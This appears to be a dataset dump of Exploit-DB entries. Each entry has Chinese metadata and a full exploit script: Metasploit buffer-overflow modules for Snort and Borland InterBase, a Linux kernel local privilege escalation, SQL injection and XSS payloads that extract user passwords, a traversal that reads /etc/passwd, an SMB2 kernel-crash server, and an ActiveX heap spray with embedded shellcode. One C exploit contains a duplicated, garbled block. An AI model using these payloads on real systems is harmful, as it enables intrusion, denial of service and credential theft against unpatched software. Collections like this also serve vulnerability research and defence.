QLWD/code_shield huggingface dataset:
标题: Snort 2.4.0 < 2.4.3 - Back Orifice Pre-Preprocessor Remote (Metasploit) EDB-ID: 10026 CVE: 2005-3252 类型: REMOTE 平台: LINUX 发布日期: 2005-10-18 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
   'Description'    => %q{
    This module exploits a stack overflow in the Back Orifice pre-processor module
   included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could 
   be used to completely compromise a Snort sensor, and would typically gain an attacker
   full root or administrative privileges.
   },
   'Author'         => 'KaiJern Lau <xwings [at] mysec.org>',
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['CVE', '2005-3252'],
     ['OSVDB', '20034'],
     ['BID', '15131'],
     ['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
    ],
   'Payload'        =>
    {
     'Space'    => 1073, #ret : 1069 
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     # Target 0: Debian 3.1 Sarge
     [
      'Debian 3.1 Sarge',
      {
       'Platform' => 'linux',
       'Ret'      => 0xbffff350
      }
     ],
    ],
   'DefaultTarget' => 0))
 

  # Configure the default port to be 9080
  register_options(
   [
    Opt::RPORT(9080),
   ], self.class)

 end

 def msrand(seed)
  @holdrand = 31337
  end

 def mrand()
  return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
  end

 def bocrypt(takepayload)

  @arrpayload = (takepayload.split(//))

  encpayload = ""
  @holdrand=0
  msrand(0)

  @arrpayload.each do |c|
   encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
  end

  return encpayload
  end


 def exploit
  connect_udp
  
  boheader =      
   "*!*QWTY?"  +
   [1096].pack("V")  +           # Length ,thanx Russell Sanford
   "\xed\xac\xef\x0d"+           # ID
   "\x01"                        # PING
  
  filler =
   make_nops(1069 -(boheader.length + payload.encode.length))

  udp_sock.write(
   bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
  )
  
  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/10026
标题: Borland Interbase 2007/2007 SP2 - 'open_marker_file' Remote Buffer Overflow (Metasploit) EDB-ID: 10019 CVE: 2007-5244 类型: REMOTE 平台: LINUX 发布日期: 2007-10-03 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase open_marker_file() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack overflow in Borland InterBase
    by sending a specially crafted attach request.
   },
   'Version' => '$Revision$',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5244' ],
     [ 'OSVDB', '38610' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804cbe4 pop esi; pop ebp; ret
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804cbe4 }
     ],
    ],
   'DefaultTarget' => 0
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Attach database
  op_attach = 19

  length = 1056
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_attach].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # It will return into this nop block
  buf << make_nops(length - payload.encoded.length - 4)

  # Payload
  buf << payload.encoded

  # Target
  buf << [target.ret].pack('V')

  # Padding
  buf << "\x00" * padding

  # Database parameter block

  # Length
  buf << [1024].pack('N')

  # Random alpha data
  buf << rand_text_alpha(1024)

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/10019
标题: Borland Interbase 2007/2007 SP2 - 'jrd8_create_database' Remote Buffer Overflow (Metasploit) EDB-ID: 10020 CVE: 2007-5243 类型: REMOTE 平台: LINUX 发布日期: 2007-10-03 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase jrd8_create_database() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack overflow in Borland InterBase
    by sending a specially crafted create request.
   },
   'Version' => '$Revision$',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38606' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 128,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804cbe4 pop esi; pop ebp; ret
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804cbe4 }
     ],
    ],
   'DefaultTarget' => 0
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Create database
  op_create = 20

  length = 544
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_create].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # It will return into this nop block
  buf << make_nops(length - payload.encoded.length - 4)

  # Payload
  buf << payload.encoded

  # Target
  buf << [target.ret].pack('V')

  # Padding
  buf << "\x00" * padding

  # Database parameter block

  # Length
  buf << [1024 * 32].pack('N')

  # Random alpha data
  buf << rand_text_alpha(1024 * 32)

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/10020
标题: Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4) EDB-ID: 10018 CVE: 2009-3547 类型: LOCAL 平台: LINUX 发布日期: 2009-11-12 漏洞利用脚本: while : ; do
   { echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
   PID=$!
   OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
        { read PID REST ; echo $PID; } )
   OUT="${OUT%% *}"
   DELAY=$((RANDOM * 1000 / 32768))
   usleep $((DELAY * 1000 + RANDOM % 1000 ))
   echo n > /proc/$OUT/fd/1                 # Trigger defect
done URL: https://www.exploit-db.com/exploits/10018
标题: Dopewars Server 1.5.12 - Denial of Service EDB-ID: 10004 CVE: 2009-3591 类型: DOS 平台: MULTIPLE 发布日期: 2009-10-06 漏洞利用脚本: ## Description ##

The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.

## POC ##

ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902

## Fix ##

This issue is resolved in the SVN version of the application.

## Discovered by Doug Prostko URL: https://www.exploit-db.com/exploits/10004
标题: Linux Kernel 2.6.x - 'fput()' Null Pointer Dereference Local Denial of Service EDB-ID: 10017 CVE: 2009-3888 类型: DOS 平台: LINUX 发布日期: 2009-11-09 漏洞利用脚本: int main()
{ 
static long long a[1024 * 1024 * 20] = { 0 }; 

return a;

} URL: https://www.exploit-db.com/exploits/10017
标题: Borland Interbase 2007/2007 SP2 - 'INET_connect' Remote Buffer Overflow (Metasploit) EDB-ID: 10021 CVE: 2007-5243 类型: REMOTE 平台: LINUX 发布日期: 2007-10-03 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase INET_connect() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack overflow in Borland InterBase
    by sending a specially crafted service attach request.
   },
   'Version' => '$Revision$',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38605' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804d2ee 5b5e5f5dc3
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804d2ee }
     ],
    ],
   'DefaultTarget' => 0
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Attach database
  op_attach = 19

  # Create database
  op_create = 20

  # Service attach
  op_service_attach = 82

  length = 161
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_service_attach].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # Random alpha data
  buf << rand_text_alpha(length - 5)

  # Target
  buf << [target.ret].pack('L')

  # Separator
  buf << ':'

  # Padding
  buf << "\x00" * padding

  # Database parameter block

  # Length
  buf << [1024].pack('N')

  # It will return into this nop block
  buf << make_nops(1024 - payload.encoded.length)

  # Payload
  buf << payload.encoded

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/10021
标题: html2ps - 'include file' Server-Side Include Directive Directory Traversal EDB-ID: 10012 CVE: 2009-5067 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-25 漏洞利用脚本: #!/usr/bin/env python
#
# html2ps <= 1.0 beta5 arbitrary file disclosure
# http://user.it.uu.se/~jan/html2ps.html
# author: epiphant <epiphant.0@gmail.com>
#
# the "include file" ssi directive doesn't check for directory
# traversal so you can include and disclose any file in the
# dir tree (very handy when html2ps is running as a part of a
# web app with data that you control)
# the vuln requires that "ssi" in the @html2ps block in the
# html2psrc file is set to 1, which is the default
#
# bonus info: some of the backtick operators look shady too
# but will require lots of prerequisites so they're uncool
#
# shouts: thcx labs, zybadawg333, fabiodds, str0ke
# jan k: shame on you - your perl is very ugly
#

import os

d = """\
<html>
<head>
<title>epiphant</title>
</head>
<body>
<h1>epiphant</h1>
<!--#include file="../../../../../../../etc/passwd"-->
<p>epiphant</p>
</body>
</html>
"""

try:
  fi = open("epiphant.html", "w")
  fi.write(d)
  fi.close()
except:
  print "can't write here"
  exit(1)

os.system("html2ps epiphant.html > epiphant.ps")
os.system("gv epiphant.ps")
exit(0) URL: https://www.exploit-db.com/exploits/10012
标题: Microsoft Windows 7/2008 R2 - Remote Kernel Crash EDB-ID: 10005 CVE: 2009-3103 类型: DOS 平台: WINDOWS 发布日期: 2009-11-11 漏洞利用脚本: #!/usr/bin/python
# win7-crash.py:
# Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
# Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an 
#infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffiï¿½

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

   def handle(self):
        print "Who:", self.client_address
        print "THANKS SDL"
        input = self.request.recv(1024)
        self.request.send(packet)
        self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever() URL: https://www.exploit-db.com/exploits/10005
标题: DreamPoll 3.1 - SQL Injection EDB-ID: 10006 CVE: 2009-4746 2009-4745 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-08 漏洞利用脚本: During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows:

XSS

????????-

File: index.php

Variable: recordsPerPage

Example: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=
1>?><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt>

Blind SQL/Xpath Injection

????????-

File: index.php

Variable: sortField

Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc
=1&recordsPerPage=20

Blind SQL Injection (Timing)

????????-

File: index.php

Variables: sortField, sortDesc, pageNumber

Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1
&recordsPerPage=20

While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well. The vendor was notified on 09/28/2009 and a fix was released the same day. If you are a current user of this software, contact the vendor for the available fix.

http://www.infosecstuff.com URL: https://www.exploit-db.com/exploits/10006
标题: CUPS - 'kerberos' Cross-Site Scripting EDB-ID: 10001 CVE: 2009-2820 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-11-11 漏洞利用脚本: Attackers can exploit this issue by enticing an unsuspecting victim into following a malicious URI.

The following example URI is available:

http://www.example.com/admin/?kerberos=onmouseover=alert





source: https://www.securityfocus.com/bid/36958/info

CUPS is prone to a cross-site scripting vulnerability because the software fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

NOTE: This vulnerability was originally reported in BID 36956 (Apple Mac OS X 2009-006 Multiple Security Vulnerabilities), but has been given its own record to better document it.

This issue affects versions prior to CUPS 1.4.2. URL: https://www.exploit-db.com/exploits/10001
标题: Docebo 3.6.0.3 - Multiple SQL Injections EDB-ID: 10003 CVE: 2009-4742 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-09 漏洞利用脚本: **************************************************************
Application: Docebo
Version affected: 3.6.0.3
Website: http://www.docebo.com
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi (at) gmail (dot) com [email concealed]
Web: http://www.andreafabrizi.it
Vuln: Multiple SQL-Injection Vulnerabilities
**************************************************************

########## EXAMPLE 1 ##########
roland@hp6720s:~$ echo -n "' union select userid,pass from core_user
-- " | base64
JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g

-> http://localhost/docebo/doceboLms/index.php?modname=faq&op=play&mode=hel
p&word=JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g
###############################

########## EXAMPLE 2 ##########
roland@hp6720s:~$ echo -n "' union select 1,userid,pass from core_user
-- " | base64
JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA=

-> http://localhost/docebo/doceboLms/index.php?modname=link&op=play&mode=ke
yw&word=JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA=

###############################

########## EXAMPLE 3 ##########
-> http://localhost/docebo/doceboCore/index.php?modname=meta_certificate&op
=elemmetacertificate&id_certificate=3222
union select concat (userid,0x3d,pass),2,3 from core_user limit 1,2
###############################

########## EXAMPLE 4 ##########
-> http://localhost/docebo/doceboCore/index.php?modname=certificate&op=elem
certificate&id_certificate=1123
union select concat(userid,0x3d,pass),2,3 from core_user limit 1,2
###############################

--
Andrea Fabrizi
http://www.andreafabrizi.it URL: https://www.exploit-db.com/exploits/10003
标题: BulletProof FTP Client 2.63 b56 - '.bps' File Stack Buffer Overflow EDB-ID: 9998 CVE: 2008-5754 类型: REMOTE 平台: WINDOWS 发布日期: 2009-10-07 漏洞利用脚本: /*
BulletProof FTP Client suffer a buffer overflow (SEH).

Tested on BullerProof FTP Client v. 2.63 build 56 (The last one) but may work with older releases as well

Registers:

EAX 00000000
ECX 65646362
EDX 7C9032BC ntdll.7C9032BC
EBX 00000000
ESP 0012F1E0
EBP 0012F200
ESI 00000000
EDI 00000000
EIP 65646362
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -??? FFFF 00FF00FF 00FF00FF
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 000000F3 00F300F3
ST3 empty -??? FFFF 000000F3 00F300F3
ST4 empty -??? FFFF 00F4F4F4 00F4F4F4
ST5 empty 7.2337335968722701770e+18
ST6 empty 7.3060737696935038410e+18
ST7 empty 7.0169967652934372810e+18
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *xpl;
char *str;
char message[]="This is a BulletProof FTP Client Session-File and should not be modified directly.\n";
char trash[]="21\nanything\nbpfdhjomeepehepbflql\nC:\\\n/";

int main(){
    int tam;
    FILE *fp;
    printf("Made by: Rafael Sousa\n");
    printf("Produzido por Rafael Sousa\n");

int main(){
    int tam;
    FILE *fp;
    printf("Made by: Rafael Sousa\n");
    printf("Produzido por Rafael Sousa\n");
    str=(char *)malloc(98*sizeof(char));
    memset(str,'a',93);
    str[93]='b';
    str[94]='c';
    str[95]='d';
    str[96]='e';
    str[97]='\0';
    tam=strlen(str)+strlen(message)+strlen(trash);
    printf("%d\n",tam);
    xpl=(char *)malloc((tam+1)*sizeof(char));
    sprintf(xpl,"%s%s\n%s",message,str,trash);
    fp=fopen("POC.bps","w");
    fputs(xpl,fp);
    fclose(fp);
    free(str);
    free(xpl);
    return(0);
} URL: https://www.exploit-db.com/exploits/9998
标题: AOL 9.1 SuperBuddy - ActiveX Control Remote code Execution EDB-ID: 9992 CVE: 2009-3658 类型: REMOTE 平台: WINDOWS 发布日期: 2009-10-01 漏洞利用脚本: <script language='vbscript'>
Set obj = CreateObject("Sb.SuperBuddy.1")
</script>
<script language='javascript'>
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
                     "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
                     "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
                     "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
                     "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
                     "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
                     "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
                     "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
                     "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
                     "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
                     "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
                     "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
                     "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
                     "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
                     "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
                     "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
                     "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
                     "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
                     "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
                     "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
                     "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
                     "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
                     "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
                     "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
                     "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
                     "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
                     "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
                     "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
                     "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
                     "%u7734%u4734%u4570");

bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<666;i++){memory[i] = block+shellcode}
</script>
<script language='vbscript'>
obj.SetSuperBuddy "http://www.suntzu" + string(1999999,"A") + ".com/" 
,"aaaa" + unescape("%0c%0c%0c%0c")  + "bbbbcccc//"
</script> URL: https://www.exploit-db.com/exploits/9992